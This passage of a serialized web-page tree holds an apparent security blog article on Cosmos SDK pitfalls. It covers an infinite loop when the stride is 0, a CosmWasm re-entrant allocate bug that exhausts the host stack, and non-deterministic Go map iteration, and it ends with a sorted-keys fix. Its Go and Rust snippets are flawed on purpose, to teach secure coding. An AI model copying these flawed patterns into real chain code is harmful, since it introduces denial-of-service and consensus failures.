sum",{"type":26,"tag":475,"props":76042,"children":76043},{"style":714},[76044],{"type":32,"value":76045}," :=",{"type":26,"tag":475,"props":76047,"children":76048},{"style":505},[76049],{"type":32,"value":76050}," uint64",{"type":26,"tag":475,"props":76052,"children":76053},{"style":499},[76054],{"type":32,"value":626},{"type":26,"tag":475,"props":76056,"children":76057},{"style":903},[76058],{"type":32,"value":3732},{"type":26,"tag":475,"props":76060,"children":76061},{"style":499},[76062],{"type":32,"value":647},{"type":26,"tag":475,"props":76064,"children":76065},{"class":477,"line":794},[76066,76071,76075,76079,76083,76087,76091,76095,76099,76104],{"type":26,"tag":475,"props":76067,"children":76068},{"style":2375},[76069],{"type":32,"value":76070}," end",{"type":26,"tag":475,"props":76072,"children":76073},{"style":714},[76074],{"type":32,"value":76045},{"type":26,"tag":475,"props":76076,"children":76077},{"style":505},[76078],{"type":32,"value":76050},{"type":26,"tag":475,"props":76080,"children":76081},{"style":499},[76082],{"type":32,"value":626},{"type":26,"tag":475,"props":76084,"children":76085},{"style":493},[76086],{"type":32,"value":8849},{"type":26,"tag":475,"props":76088,"children":76089},{"style":499},[76090],{"type":32,"value":626},{"type":26,"tag":475,"props":76092,"children":76093},{"style":2375},[76094],{"type":32,"value":57638},{"type":26,"tag":475,"props":76096,"children":76097},{"style":499},[76098],{"type":32,"value":353},{"type":26,"tag":475,"props":76100,"children":76101},{"style":2375},[76102],{"type":32,"value":76103},"Arr",{"type":26,"tag":475,"props":76105,"children":76106},{"style":499},[76107],{"type":32,"value":1510},{"type":26,"tag":475,"props":76109,"children":76110},{"class":477,"line":831},[76111,76115,76120,76124,76129,76133,76138,76142,76147,76151,76156,76160,76164,76168,76172,76176,76181],{"type":26,"tag":475,"props":76112,"children":76113},{"style":586},[76114],{"type":32,"value":2737},{"type":26,"tag":475,"props":76116,"children":76117},{"style":2375},[76118],{"type":32,"value":76119}," idx",{"type":26,"tag":475,"props":76121,"children":76122},{"style":714},[76123],{"type":32,"value":76045},{"type":26,"tag":475,"props":76125,"children":76126},{"style":2375},[76127],{"type":32,"value":76128}," msg",{"type":26,"tag":475,"props":76130,"children":76131},{"style":499},[76132],{"type":32,"value":353},{"type":26,"tag":475,"props":76134,"children":76135},{"style":2375},[76136],{"type":32,"value":76137},"Start",{"type":26,"tag":475,"props":76139,"children":76140},{"style":499},[76141],{"type":32,"value":16933},{"type":26,"tag":475,"props":76143,"children":76144},{"style":2375},[76145],{"type":32,"value":76146},"idx",{"type":26,"tag":475,"props":76148,"children":76149},{"style":714},[76150],{"type":32,"value":8430},{"type":26,"tag":475,"props":76152,"children":76153},{"style":2375},[76154],{"type":32,"value":76155}," end",{"type":26,"tag":475,"props":76157,"children":76158},{"style":499},[76159],{"type":32,"value":16933},{"type":26,"tag":475,"props":76161,"children":76162},{"style":2375},[76163],{"type":32,"value":76146},{"type":26,"tag":475,"props":76165,"children":76166},{"style":714},[76167],{"type":32,"value":14770},{"type":26,"tag":475,"props":76169,"children":76170},{"style":2375},[76171],{"type":32,"value":76128},{"type":26,"tag":475,"props":76173,"children":76174},{"style":499},[76175],{"type":32,"value":353},{"type":26,"tag":475,"props":76177,"children":76178},{"style":2375},[76179],{"type":32,"value":76180},"Stride",{"type":26,"tag":475,"props":76182,"children":76183},{"style":499},[76184],{"type":32,"value":579},{"type":26,"tag":475,"props":76186,"children":76187},{"class":477,"line":845},[76188,76193,76197,76201,76205,76209,76213,76217],{"type":26,"tag":475,"props":76189,"children":76190},{"style":2375},[76191],{"type":32,"value":76192}," sum",{"type":26,"tag":475,"props":76194,"children":76195},{"style":714},[76196],{"type":32,"value":14770},{"type":26,"tag":475,"props":76198,"children":76199},{"style":2375},[76200],{"type":32,"value":76128},{"type":26,"tag":475,"props":76202,"children":76203},{"style":499},[76204],{"type":32,"value":353},{"type":26,"tag":475,"props":76206,"children":76207},{"style":2375},[76208],{"type":32,"value":76103},{"type":26,"tag":475,"props":76210,"children":76211},{"style":499},[76212],{"type":32,"value":3440},{"type":26,"tag":475,"props":76214,"children":76215},{"style":2375},[76216],{"type":32,"value":76146},{"type":26,"tag":475,"props":76218,"children":76219},{"style":499},[76220],{"type":32,"value":11481},{"type":26,"tag":475,"props":76222,"children":76223},{"class":477,"line":854},[76224],{"type":26,"tag":475,"props":76225,"children":76226},{"style":499},[76227],{"type":32,"value":851},{"type":26,"tag":475,"props":76229,"children":76230},{"class":477,"line":862},[76231,76235,76239,76243,76248,76253,76257,76262,76267],{"type":26,"tag":475,"props":76232,"children":76233},{"style":586},[76234],{"type":32,"value":16695},{"type":26,"tag":475,"props":76236,"children":76237},{"style":714},[76238],{"type":32,"value":6854},{"type":26,"tag":475,"props":76240,"children":76241},{"style":505},[76242],{"type":32,"value":76020},{"type":26,"tag":475,"props":76244,"children":76245},{"style":499},[76246],{"type":32,"value":76247},"{",{"type":26,"tag":475,"props":76249,"children":76250},{"style":2375},[76251],{"type":32,"value":76252},"Sum",{"type":26,"tag":475,"props":76254,"children":76255},{"style":499},[76256],{"type":32,"value":15037},{"type":26,"tag":475,"props":76258,"children":76259},{"style":2375},[76260],{"type":32,"value":76261},"sum",{"type":26,"tag":475,"props":76263,"children":76264},{"style":499},[76265],{"type":32,"value":76266},"}, ",{"type":26,"tag":475,"props":76268,"children":76269},{"style":482},[76270],{"type":32,"value":76271},"nil\n",{"type":26,"tag":475,"props":76273,"children":76274},{"class":477,"line":885},[76275],{"type":26,"tag":475,"props":76276,"children":76277},{"style":499},[76278],{"type":32,"value":3607},{"type":26,"tag":35,"props":76280,"children":76281},{},[76282,76284,76289,76290,76296],{"type":32,"value":76283},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":26,"tag":53,"props":76285,"children":76287},{"className":76286},[],[76288],{"type":32,"value":76146},{"type":32,"value":7026},{"type":26,"tag":53,"props":76291,"children":76293},{"className":76292},[],[76294],{"type":32,"value":76295},"stride",{"type":32,"value":76297},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":26,"tag":35,"props":76299,"children":76300},{},[76301],{"type":32,"value":76302},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":26,"tag":35,"props":76304,"children":76305},{},[76306],{"type":32,"value":76307},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":26,"tag":35,"props":76309,"children":76310},{},[76311],{"type":32,"value":76312},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":26,"tag":41,"props":76314,"children":76316},{"id":76315},"real-world-examples",[76317],{"type":32,"value":76318},"Real-World Examples",{"type":26,"tag":35,"props":76320,"children":76321},{},[76322],{"type":32,"value":76323},"Now, let's examine a few real-world instances.",{"type":26,"tag":35,"props":76325,"children":76326},{},[76327,76329,76335,76336,76342,76344,76350,76352,76358],{"type":32,"value":76328},"In the case of ",{"type":26,"tag":116,"props":76330,"children":76333},{"href":76331,"rel":76332},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[120],[76334],{"type":32,"value":17400},{"type":32,"value":6171},{"type":26,"tag":53,"props":76337,"children":76339},{"className":76338},[],[76340],{"type":32,"value":76341},"CosmWasm",{"type":32,"value":76343}," bug, the helper method ",{"type":26,"tag":53,"props":76345,"children":76347},{"className":76346},[],[76348],{"type":32,"value":76349},"write_to_contract",{"type":32,"value":76351}," negligently calls the untrusted Wasm function ",{"type":26,"tag":53,"props":76353,"children":76355},{"className":76354},[],[76356],{"type":32,"value":76357},"\"allocate\"",{"type":32,"value":353},{"type":26,"tag":35,"props":76360,"children":76361},{},[76362],{"type":26,"tag":116,"props":76363,"children":76366},{"href":76364,"rel":76365},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[120],[76367],{"type":32,"value":76368},"Permalink for snippet",{"type":26,"tag":465,"props":76370,"children":76372},{"code":76371,"language":2684,"meta":7,"className":2685,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n env: &Environment\u003CA, S, Q>,\n input: &[u8],\n) -> VmResult\u003Cu32> {\n let out_size = to_u32(input.len())?;\n let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n let target_ptr = ref_to_u32(&result)?;\n if target_ptr == 0 {\n return Err(CommunicationError::zero_address().into());\n }\n write_region(&env.memory(), target_ptr, input)?;\n Ok(target_ptr)\n}\n",[76373],{"type":26,"tag":53,"props":76374,"children":76375},{"__ignoreMap":7},[76376,76445,76493,76521,76550,76599,76673,76718,76741,76786,76793,76850,76869],{"type":26,"tag":475,"props":76377,"children":76378},{"class":477,"line":478},[76379,76383,76388,76392,76397,76401,76406,76410,76414,76418,76423,76427,76432,76436,76441],{"type":26,"tag":475,"props":76380,"children":76381},{"style":482},[76382],{"type":32,"value":19974},{"type":26,"tag":475,"props":76384,"children":76385},{"style":493},[76386],{"type":32,"value":76387}," write_to_contract",{"type":26,"tag":475,"props":76389,"children":76390},{"style":499},[76391],{"type":32,"value":5519},{"type":26,"tag":475,"props":76393,"children":76394},{"style":505},[76395],{"type":32,"value":76396},"A",{"type":26,"tag":475,"props":76398,"children":76399},{"style":714},[76400],{"type":32,"value":179},{"type":26,"tag":475,"props":76402,"children":76403},{"style":505},[76404],{"type":32,"value":76405}," BackendApi",{"type":26,"tag":475,"props":76407,"children":76408},{"style":499},[76409],{"type":32,"value":637},{"type":26,"tag":475,"props":76411,"children":76412},{"style":505},[76413],{"type":32,"value":21758},{"type":26,"tag":475,"props":76415,"children":76416},{"style":714},[76417],{"type":32,"value":179},{"type":26,"tag":475,"props":76419,"children":76420},{"style":505},[76421],{"type":32,"value":76422}," Storage",{"type":26,"tag":475,"props":76424,"children":76425},{"style":499},[76426],{"type":32,"value":637},{"type":26,"tag":475,"props":76428,"children":76429},{"style":505},[76430],{"type":32,"value":76431},"Q",{"type":26,"tag":475,"props":76433,"children":76434},{"style":714},[76435],{"type":32,"value":179},{"type":26,"tag":475,"props":76437,"children":76438},{"style":505},[76439],{"type":32,"value":76440}," Querier",{"type":26,"tag":475,"props":76442,"children":76443},{"style":499},[76444],{"type":32,"value":6302},{"type":26,"tag":475,"props":76446,"children":76447},{"class":477,"line":516},[76448,76452,76456,76460,76465,76469,76473,76477,76481,76485,76489],{"type":26,"tag":475,"props":76449,"children":76450},{"style":2375},[76451],{"type":32,"value":3548},{"type":26,"tag":475,"props":76453,"children":76454},{"style":714},[76455],{"type":32,"value":179},{"type":26,"tag":475,"props":76457,"children":76458},{"style":714},[76459],{"type":32,"value":6854},{"type":26,"tag":475,"props":76461,"children":76462},{"style":505},[76463],{"type":32,"value":76464},"Environment",{"type":26,"tag":475,"props":76466,"children":76467},{"style":499},[76468],{"type":32,"value":5519},{"type":26,"tag":475,"props":76470,"children":76471},{"style":505},[76472],{"type":32,"value":76396},{"type":26,"tag":475,"props":76474,"children":76475},{"style":499},[76476],{"type":32,"value":637},{"type":26,"tag":475,"props":76478,"children":76479},{"style":505},[76480],{"type":32,"value":21758},{"type":26,"tag":475,"props":76482,"children":76483},{"style":499},[76484],{"type":32,"value":637},{"type":26,"tag":475,"props":76486,"children":76487},{"style":505},[76488],{"type":32,"value":76431},{"type":26,"tag":475,"props":76490,"children":76491},{"style":499},[76492],{"type":32,"value":5852},{"type":26,"tag":475,"props":76494,"children":76495},{"class":477,"line":539},[76496,76501,76505,76509,76513,76517],{"type":26,"tag":475,"props":76497,"children":76498},{"style":2375},[76499],{"type":32,"value":76500}," input",{"type":26,"tag":475,"props":76502,"children":76503},{"style":714},[76504],{"type":32,"value":179},{"type":26,"tag":475,"props":76506,"children":76507},{"style":714},[76508],{"type":32,"value":6854},{"type":26,"tag":475,"props":76510,"children":76511},{"style":499},[76512],{"type":32,"value":3440},{"type":26,"tag":475,"props":76514,"children":76515},{"style":505},[76516],{"type":32,"value":3127},{"type":26,"tag":475,"props":76518,"children":76519},{"style":499},[76520],{"type":32,"value":13970},{"type":26,"tag":475,"props":76522,"children":76523},{"class":477,"line":548},[76524,76528,76532,76537,76541,76546],{"type":26,"tag":475,"props":76525,"children":76526},{"style":499},[76527],{"type":32,"value":2794},{"type":26,"tag":475,"props":76529,"children":76530},{"style":714},[76531],{"type":32,"value":13464},{"type":26,"tag":475,"props":76533,"children":76534},{"style":505},[76535],{"type":32,"value":76536}," VmResult",{"type":26,"tag":475,"props":76538,"children":76539},{"style":499},[76540],{"type":32,"value":5519},{"type":26,"tag":475,"props":76542,"children":76543},{"style":505},[76544],{"type":32,"value":76545},"u32",{"type":26,"tag":475,"props":76547,"children":76548},{"style":499},[76549],{"type":32,"value":6994},{"type":26,"tag":475,"props":76551,"children":76552},{"class":477,"line":558},[76553,76557,76562,76566,76571,76575,76579,76583,76587,76591,76595],{"type":26,"tag":475,"props":76554,"children":76555},{"style":482},[76556],{"type":32,"value":2705},{"type":26,"tag":475,"props":76558,"children":76559},{"style":2375},[76560],{"type":32,"value":76561}," out_size",{"type":26,"tag":475,"props":76563,"children":76564},{"style":714},[76565],{"type":32,"value":2383},{"type":26,"tag":475,"props":76567,"children":76568},{"style":493},[76569],{"type":32,"value":76570}," to_u32",{"type":26,"tag":475,"props":76572,"children":76573},{"style":499},[76574],{"type":32,"value":626},{"type":26,"tag":475,"props":76576,"children":76577},{"style":2375},[76578],{"type":32,"value":8078},{"type":26,"tag":475,"props":76580,"children":76581},{"style":714},[76582],{"type":32,"value":353},{"type":26,"tag":475,"props":76584,"children":76585},{"style":493},[76586],{"type":32,"value":8849},{"type":26,"tag":475,"props":76588,"children":76589},{"style":499},[76590],{"type":32,"value":41653},{"type":26,"tag":475,"props":76592,"children":76593},{"style":714},[76594],{"type":32,"value":2863},{"type":26,"tag":475,"props":76596,"children":76597},{"style":499},[76598],{"type":32,"value":2729},{"type":26,"tag":475,"props":76600,"children":76601},{"class":477,"line":582},[76602,76606,76610,76614,76618,76622,76627,76631,76635,76639,76643,76647,76652,76656,76660,76665,76669],{"type":26,"tag":475,"props":76603,"children":76604},{"style":482},[76605],{"type":32,"value":2705},{"type":26,"tag":475,"props":76607,"children":76608},{"style":2375},[76609],{"type":32,"value":8870},{"type":26,"tag":475,"props":76611,"children":76612},{"style":714},[76613],{"type":32,"value":2383},{"type":26,"tag":475,"props":76615,"children":76616},{"style":2375},[76617],{"type":32,"value":42647},{"type":26,"tag":475,"props":76619,"children":76620},{"style":714},[76621],{"type":32,"value":353},{"type":26,"tag":475,"props":76623,"children":76624},{"style":493},[76625],{"type":32,"value":76626},"call_function1",{"type":26,"tag":475,"props":76628,"children":76629},{"style":499},[76630],{"type":32,"value":626},{"type":26,"tag":475,"props":76632,"children":76633},{"style":629},[76634],{"type":32,"value":76357},{"type":26,"tag":475,"props":76636,"children":76637},{"style":499},[76638],{"type":32,"value":637},{"type":26,"tag":475,"props":76640,"children":76641},{"style":714},[76642],{"type":32,"value":2816},{"type":26,"tag":475,"props":76644,"children":76645},{"style":499},[76646],{"type":32,"value":3440},{"type":26,"tag":475,"props":76648,"children":76649},{"style":2375},[76650],{"type":32,"value":76651},"out_size",{"type":26,"tag":475,"props":76653,"children":76654},{"style":714},[76655],{"type":32,"value":353},{"type":26,"tag":475,"props":76657,"children":76658},{"style":493},[76659],{"type":32,"value":14591},{"type":26,"tag":475,"props":76661,"children":76662},{"style":499},[76663],{"type":32,"value":76664},"()])",{"type":26,"tag":475,"props":76666,"children":76667},{"style":714},[76668],{"type":32,"value":2863},{"type":26,"tag":475,"props":76670,"children":76671},{"style":499},[76672],{"type":32,"value":2729},{"type":26,"tag":475,"props":76674,"children":76675},{"class":477,"line":596},[76676,76680,76685,76689,76694,76698,76702,76706,76710,76714],{"type":26,"tag":475,"props":76677,"children":76678},{"style":482},[76679],{"type":32,"value":2705},{"type":26,"tag":475,"props":76681,"children":76682},{"style":2375},[76683],{"type":32,"value":76684}," target_ptr",{"type":26,"tag":475,"props":76686,"children":76687},{"style":714},[76688],{"type":32,"value":2383},{"type":26,"tag":475,"props":76690,"children":76691},{"style":493},[76692],{"type":32,"value":76693}," ref_to_u32",{"type":26,"tag":475,"props":76695,"children":76696},{"style":499},[76697],{"type":32,"value":626},{"type":26,"tag":475,"props":76699,"children":76700},{"style":714},[76701],{"type":32,"value":2816},{"type":26,"tag":475,"props":76703,"children":76704},{"style":2375},[76705],{"type":32,"value":8793},{"type":26,"tag":475,"props":76707,"children":76708},{"style":499},[76709],{"type":32,"value":2835},{"type":26,"tag":475,"props":76711,"children":76712},{"style":714},[76713],{"type":32,"value":2863},{"type":26,"tag":475,"props":76715,"children":76716},{"style":499},[76717],{"type":32,"value":2729},{"type":26,"tag":475,"props":76719,"children":76720},{"class":477,"line":610},[76721,76725,76729,76733,76737],{"type":26,"tag":475,"props":76722,"children":76723},{"style":586},[76724],{"type":32,"value":11988},{"type":26,"tag":475,"props":76726,"children":76727},{"style":2375},[76728],{"type":32,"value":76684},{"type":26,"tag":475,"props":76730,"children":76731},{"style":714},[76732],{"type":32,"value":2990},{"type":26,"tag":475,"props":76734,"children":76735},{"style":903},[76736],{"type":32,"value":2752},{"type":26,"tag":475,"props":76738,"children":76739},{"style":499},[76740],{"type":32,"value":579},{"type":26,"tag":475,"props":76742,"children":76743},{"class":477,"line":650},[76744,76748,76752,76756,76761,76765,76770,76774,76778,76782],{"type":26,"tag":475,"props":76745,"children":76746},{"style":586},[76747],{"type":32,"value":15449},{"type":26,"tag":475,"props":76749,"children":76750},{"style":505},[76751],{"type":32,"value":15454},{"type":26,"tag":475,"props":76753,"children":76754},{"style":499},[76755],{"type":32,"value":626},{"type":26,"tag":475,"props":76757,"children":76758},{"style":505},[76759],{"type":32,"value":76760},"CommunicationError",{"type":26,"tag":475,"props":76762,"children":76763},{"style":714},[76764],{"type":32,"value":3187},{"type":26,"tag":475,"props":76766,"children":76767},{"style":493},[76768],{"type":32,"value":76769},"zero_address",{"type":26,"tag":475,"props":76771,"children":76772},{"style":499},[76773],{"type":32,"value":13586},{"type":26,"tag":475,"props":76775,"children":76776},{"style":714},[76777],{"type":32,"value":353},{"type":26,"tag":475,"props":76779,"children":76780},{"style":493},[76781],{"type":32,"value":14591},{"type":26,"tag":475,"props":76783,"children":76784},{"style":499},[76785],{"type":32,"value":2494},{"type":26,"tag":475,"props":76787,"children":76788},{"class":477,"line":679},[76789],{"type":26,"tag":475,"props":76790,"children":76791},{"style":499},[76792],{"type":32,"value":851},{"type":26,"tag":475,"props":76794,"children":76795},{"class":477,"line":735},[76796,76801,76805,76809,76813,76817,76821,76825,76830,76834,76838,76842,76846],{"type":26,"tag":475,"props":76797,"children":76798},{"style":493},[76799],{"type":32,"value":76800}," write_region",{"type":26,"tag":475,"props":76802,"children":76803},{"style":499},[76804],{"type":32,"value":626},{"type":26,"tag":475,"props":76806,"children":76807},{"style":714},[76808],{"type":32,"value":2816},{"type":26,"tag":475,"props":76810,"children":76811},{"style":2375},[76812],{"type":32,"value":35386},{"type":26,"tag":475,"props":76814,"children":76815},{"style":714},[76816],{"type":32,"value":353},{"type":26,"tag":475,"props":76818,"children":76819},{"style":493},[76820],{"type":32,"value":75601},{"type":26,"tag":475,"props":76822,"children":76823},{"style":499},[76824],{"type":32,"value":18083},{"type":26,"tag":475,"props":76826,"children":76827},{"style":2375},[76828],{"type":32,"value":76829},"target_ptr",{"type":26,"tag":475,"props":76831,"children":76832},{"style":499},[76833],{"type":32,"value":637},{"type":26,"tag":475,"props":76835,"children":76836},{"style":2375},[76837],{"type":32,"value":8078},{"type":26,"tag":475,"props":76839,"children":76840},{"style":499},[76841],{"type":32,"value":2835},{"type":26,"tag":475,"props":76843,"children":76844},{"style":714},[76845],{"type":32,"value":2863},{"type":26,"tag":475,"props":76847,"children":76848},{"style":499},[76849],{"type":32,"value":2729},{"type":26,"tag":475,"props":76851,"children":76852},{"class":477,"line":744},[76853,76857,76861,76865],{"type":26,"tag":475,"props":76854,"children":76855},{"style":505},[76856],{"type":32,"value":14040},{"type":26,"tag":475,"props":76858,"children":76859},{"style":499},[76860],{"type":32,"value":626},{"type":26,"tag":475,"props":76862,"children":76863},{"style":2375},[76864],{"type":32,"value":76829},{"type":26,"tag":475,"props":76866,"children":76867},{"style":499},[76868],{"type":32,"value":647},{"type":26,"tag":475,"props":76870,"children":76871},{"class":477,"line":753},[76872],{"type":26,"tag":475,"props":76873,"children":76874},{"style":499},[76875],{"type":32,"value":3607},{"type":26,"tag":35,"props":76877,"children":76878},{},[76879,76881,76887,76889,76894],{"type":32,"value":76880},"As users have complete control over ",{"type":26,"tag":53,"props":76882,"children":76884},{"className":76883},[],[76885],{"type":32,"value":76886},"allocate",{"type":32,"value":76888},", there is a possibility to call back ",{"type":26,"tag":53,"props":76890,"children":76892},{"className":76891},[],[76893],{"type":32,"value":76349},{"type":32,"value":76895}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":26,"tag":35,"props":76897,"children":76898},{},[76899,76901,76908],{"type":32,"value":76900},"Additional real-world examples include ",{"type":26,"tag":116,"props":76902,"children":76905},{"href":76903,"rel":76904},"https://github.com/cosmos/cosmos-sdk/issues/16676",[120],[76906],{"type":32,"value":76907},"not returning proper values for malformed txs",{"type":32,"value":353},{"type":26,"tag":27,"props":76910,"children":76912},{"id":76911},"order-was-the-dream-of-man",[76913],{"type":32,"value":76914},"Order Was the Dream of Man",{"type":26,"tag":35,"props":76916,"children":76917},{},[76918],{"type":32,"value":76919},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":26,"tag":35,"props":76921,"children":76922},{},[76923],{"type":32,"value":76924},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":26,"tag":465,"props":76926,"children":76928},{"code":76927,"language":75793,"meta":7,"className":75794,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n for key, value := range objectMap {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, value),\n )\n )\n }\n}\n",[76929],{"type":26,"tag":53,"props":76930,"children":76931},{"__ignoreMap":7},[76932,76965,76972,77001,77038,77067,77088,77100,77137,77145,77152,77159],{"type":26,"tag":475,"props":76933,"children":76934},{"class":477,"line":478},[76935,76939,76944,76948,76952,76956,76960],{"type":26,"tag":475,"props":76936,"children":76937},{"style":482},[76938],{"type":32,"value":32455},{"type":26,"tag":475,"props":76940,"children":76941},{"style":505},[76942],{"type":32,"value":76943}," ObjectMap",{"type":26,"tag":475,"props":76945,"children":76946},{"style":482},[76947],{"type":32,"value":49361},{"type":26,"tag":475,"props":76949,"children":76950},{"style":499},[76951],{"type":32,"value":3440},{"type":26,"tag":475,"props":76953,"children":76954},{"style":505},[76955],{"type":32,"value":29369},{"type":26,"tag":475,"props":76957,"children":76958},{"style":499},[76959],{"type":32,"value":15117},{"type":26,"tag":475,"props":76961,"children":76962},{"style":505},[76963],{"type":32,"value":76964},"string\n",{"type":26,"tag":475,"props":76966,"children":76967},{"class":477,"line":516},[76968],{"type":26,"tag":475,"props":76969,"children":76970},{"emptyLinePlaceholder":18},[76971],{"type":32,"value":545},{"type":26,"tag":475,"props":76973,"children":76974},{"class":477,"line":539},[76975,76979,76984,76988,76993,76997],{"type":26,"tag":475,"props":76976,"children":76977},{"style":482},[76978],{"type":32,"value":75929},{"type":26,"tag":475,"props":76980,"children":76981},{"style":493},[76982],{"type":32,"value":76983}," EmitEntries",{"type":26,"tag":475,"props":76985,"children":76986},{"style":499},[76987],{"type":32,"value":626},{"type":26,"tag":475,"props":76989,"children":76990},{"style":2375},[76991],{"type":32,"value":76992},"objectMap",{"type":26,"tag":475,"props":76994,"children":76995},{"style":505},[76996],{"type":32,"value":76943},{"type":26,"tag":475,"props":76998,"children":76999},{"style":499},[77000],{"type":32,"value":676},{"type":26,"tag":475,"props":77002,"children":77003},{"class":477,"line":548},[77004,77008,77012,77016,77020,77024,77029,77034],{"type":26,"tag":475,"props":77005,"children":77006},{"style":586},[77007],{"type":32,"value":2737},{"type":26,"tag":475,"props":77009,"children":77010},{"style":2375},[77011],{"type":32,"value":5645},{"type":26,"tag":475,"props":77013,"children":77014},{"style":499},[77015],{"type":32,"value":637},{"type":26,"tag":475,"props":77017,"children":77018},{"style":2375},[77019],{"type":32,"value":38844},{"type":26,"tag":475,"props":77021,"children":77022},{"style":714},[77023],{"type":32,"value":76045},{"type":26,"tag":475,"props":77025,"children":77026},{"style":586},[77027],{"type":32,"value":77028}," range",{"type":26,"tag":475,"props":77030,"children":77031},{"style":2375},[77032],{"type":32,"value":77033}," objectMap",{"type":26,"tag":475,"props":77035,"children":77036},{"style":499},[77037],{"type":32,"value":579},{"type":26,"tag":475,"props":77039,"children":77040},{"class":477,"line":558},[77041,77045,77049,77054,77058,77063],{"type":26,"tag":475,"props":77042,"children":77043},{"style":2375},[77044],{"type":32,"value":25887},{"type":26,"tag":475,"props":77046,"children":77047},{"style":499},[77048],{"type":32,"value":353},{"type":26,"tag":475,"props":77050,"children":77051},{"style":2375},[77052],{"type":32,"value":77053},"EventManager",{"type":26,"tag":475,"props":77055,"children":77056},{"style":499},[77057],{"type":32,"value":353},{"type":26,"tag":475,"props":77059,"children":77060},{"style":493},[77061],{"type":32,"value":77062},"EmitEvent",{"type":26,"tag":475,"props":77064,"children":77065},{"style":499},[77066],{"type":32,"value":3169},{"type":26,"tag":475,"props":77068,"children":77069},{"class":477,"line":582},[77070,77075,77079,77084],{"type":26,"tag":475,"props":77071,"children":77072},{"style":2375},[77073],{"type":32,"value":77074}," sdk",{"type":26,"tag":475,"props":77076,"children":77077},{"style":499},[77078],{"type":32,"value":353},{"type":26,"tag":475,"props":77080,"children":77081},{"style":493},[77082],{"type":32,"value":77083},"NewEvent",{"type":26,"tag":475,"props":77085,"children":77086},{"style":499},[77087],{"type":32,"value":3169},{"type":26,"tag":475,"props":77089,"children":77090},{"class":477,"line":596},[77091,77096],{"type":26,"tag":475,"props":77092,"children":77093},{"style":629},[77094],{"type":32,"value":77095}," \"MapContext\"",{"type":26,"tag":475,"props":77097,"children":77098},{"style":499},[77099],{"type":32,"value":2425},{"type":26,"tag":475,"props":77101,"children":77102},{"class":477,"line":610},[77103,77108,77112,77117,77121,77125,77129,77133],{"type":26,"tag":475,"props":77104,"children":77105},{"style":2375},[77106],{"type":32,"value":77107}," sdk",{"type":26,"tag":475,"props":77109,"children":77110},{"style":499},[77111],{"type":32,"value":353},{"type":26,"tag":475,"props":77113,"children":77114},{"style":493},[77115],{"type":32,"value":77116},"NewAttribute",{"type":26,"tag":475,"props":77118,"children":77119},{"style":499},[77120],{"type":32,"value":626},{"type":26,"tag":475,"props":77122,"children":77123},{"style":2375},[77124],{"type":32,"value":71783},{"type":26,"tag":475,"props":77126,"children":77127},{"style":499},[77128],{"type":32,"value":637},{"type":26,"tag":475,"props":77130,"children":77131},{"style":2375},[77132],{"type":32,"value":38844},{"type":26,"tag":475,"props":77134,"children":77135},{"style":499},[77136],{"type":32,"value":6450},{"type":26,"tag":475,"props":77138,"children":77139},{"class":477,"line":650},[77140],{"type":26,"tag":475,"props":77141,"children":77142},{"style":499},[77143],{"type":32,"value":77144}," )\n",{"type":26,"tag":475,"props":77146,"children":77147},{"class":477,"line":679},[77148],{"type":26,"tag":475,"props":77149,"children":77150},{"style":499},[77151],{"type":32,"value":68014},{"type":26,"tag":475,"props":77153,"children":77154},{"class":477,"line":735},[77155],{"type":26,"tag":475,"props":77156,"children":77157},{"style":499},[77158],{"type":32,"value":851},{"type":26,"tag":475,"props":77160,"children":77161},{"class":477,"line":744},[77162],{"type":26,"tag":475,"props":77163,"children":77164},{"style":499},[77165],{"type":32,"value":3607},{"type":26,"tag":35,"props":77167,"children":77168},{},[77169],{"type":32,"value":77170},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":26,"tag":2637,"props":77172,"children":77173},{},[77174],{"type":26,"tag":35,"props":77175,"children":77176},{},[77177],{"type":32,"value":77178},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":26,"tag":35,"props":77180,"children":77181},{},[77182,77184,77189],{"type":32,"value":77183},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":26,"tag":53,"props":77185,"children":77187},{"className":77186},[],[77188],{"type":32,"value":66795},{"type":32,"value":77190}," and then fetch the values using the sorted key array before emitting them.",{"type":26,"tag":465,"props":77192,"children":77194},{"code":77193,"language":75793,"meta":7,"className":75794,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n var keys []string\n for key := range objectMap {\n keys = append(keys, key)\n }\n sort.Strings(keys)\n\n for _, key := range keys {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, objectMap[key]),\n )\n )\n 